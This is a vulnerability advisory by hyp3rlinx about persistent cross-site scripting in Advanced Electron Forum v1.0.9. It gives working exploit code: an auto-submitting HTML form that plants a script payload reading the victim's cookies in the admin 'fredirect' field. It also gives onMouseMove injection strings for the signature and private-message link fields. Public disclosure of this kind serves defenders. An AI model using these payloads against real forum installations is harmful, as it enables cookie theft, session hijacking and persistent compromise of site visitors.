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Advanced Electron Forum v1.0.9 Persistent XSS



[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AEF-XSS.txt



Vendor:
=============================
www.anelectron.com/downloads/



Product:
====================================
Advanced Electron Forum v1.0.9 (AEF)
Exploit patched current version.



Vulnerability Type:
===================
Persistent XSS



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

In Admin panel under Edit Boards / General Stuff / General Options

There is an option to sepcify a redirect URL for the forum.

See --> Redirect Forum:
Enter a URL to which this forum will be redirected to.

The redirect input field is vulnerable to a persistent XSS that will be stored in the MySQL database
and execute attacker supplied client side code each time a victim visits the following URLs. 

http://localhost/AEF(1.0.9)_Install/index.php?

http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1



Exploit code(s):
===============

Persistent XSS 

<form id="XSS-DE-PERSISTO" action="http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1" method="post">
<input type="hidden" name="editmother" value="c1" />
<input type="hidden" name="forder" value="1" />
<input type="hidden" name="fstatus" value="1" />
<input type="hidden" name="fredirect" value='"/><script>alert("XSS hyp3rlinx \n\n" + document.cookie)</script>' />
<input type="hidden" name="fimage" value="" />
<input type="hidden" name="fname" value="Generals" />
<input type="hidden" name="fdesc" value="hyp3rlinx" />
<input type="hidden" name="ftheme" value="0" />
<input type="hidden" name="frulestitle" value="MAYHEM" />
<input type="hidden" name="frules" value="0" />
<input type="hidden" name="rss" value="10" />
<input type="hidden" name="rss_topic" value="0" />
<input type="hidden" name="member[-1]" value="on" />
<input type="hidden" name="member[0]" value="on" />
<input type="hidden" name="member[3]" value="on" />
<input type="hidden" name="inc_mem_posts" value="on" />
<input type="hidden" name="allow_poll" value="on" />
<input type="hidden" name="allow_html" value="on" />
<input type="hidden" name="mod_posts" value="on" />
<input type="hidden" name="editboard" value="Edit+Forum" />
<script>document.getElementById('XSS-DE-PERSISTO').submit()</script>
</form>
  


Some other misc XSS(s) under 'Signature' area.


http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=signature
on Anchor link setting
http://"onMouseMove="alert(0)

AND

http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=writepm
email link:
mailto:"onMouseMove="alert(1)



Disclosure Timeline:
=====================================
Vendor Notification:  NA
January 17, 2016  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High



Description:
=================================================================


Request Method(s):        [+] POST


Vulnerable Product:       [+] AEF v1.0.9 (exploit patched version)


Vulnerable Parameter(s):  [+] 'fredirect'

=================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx